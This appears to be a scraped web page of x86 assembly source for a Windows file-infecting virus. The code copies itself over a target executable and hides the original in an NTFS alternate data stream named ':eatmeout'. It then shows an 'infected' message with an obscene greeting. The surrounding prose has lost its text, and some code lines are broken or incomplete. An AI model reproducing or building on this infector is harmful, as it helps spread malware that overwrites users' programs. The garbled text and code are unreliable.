( ) . . , .

. , xcode.asm.

section '.code' code readable executable

start:

;

push godown

call [DeleteFile]

;

push

1000

push buf

push 0

call

[GetModuleFileName]

;

; --* filename -

call [GetCommandLine]

mov ebp,eax

xor ebx,ebx

mov ecx, 202A2D2Dh ;

rool:

cmp [eax], ecx ; '--*'?

jz infect

inc eax

cmp

[eax], ebx ; ?

jnz rool

; ,

;

push 0

push aInfected

push aHello

push 0

call [MessageBox]

; NTFS-

mov esi, code_name

mov edi, buf

mov ecx, 100; code_name_end - code_name

xor eax,eax

repne scasb

dec edi

rep movsb

; NTFS-

push xxx

push xxx

push eax

push eax

push eax

push eax

push eax

push eax

push ebp

push buf

call [CreateProcess]

jmp go2exit ;

infect:

; eax -

; ( dst)

add eax, 4

xchg eax, ebp




xor eax,eax

inc eax



; dst



; dst godown

push godown

push ebp

call

[RenameFile]



; godown dst

push eax

push ebp

push buf

call [CopyFile]



; NTFS-

mov esi, ebp

mov edi, buf

copy_rool:

lodsb

stosb

test al,al

jnz copy_rool

mov esi, code_name

dec edi

copy_rool2:

lodsb

stosb

test al,al

jnz copy_rool2



; godown dst:eatout

push eax

push buf

push godown

call [CopyFile]



; ,



; godown

push godown

call [DeleteFile]



; ,

;

push 0

push aInfected

push ebp

push 0

call [MessageBox]



;

go2exit:

push 0

call [ExitProcess]



section '.data' data readable writeable

godown db "godown",0 ;

code_name db ":eatmeout",0 ; ,

code_name_end: ;



; ,

aInfected db "infected",0

aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"



;

buf rb

1000

xxx rb

1000

 










Forekc.ru
, , , , , , , , , ,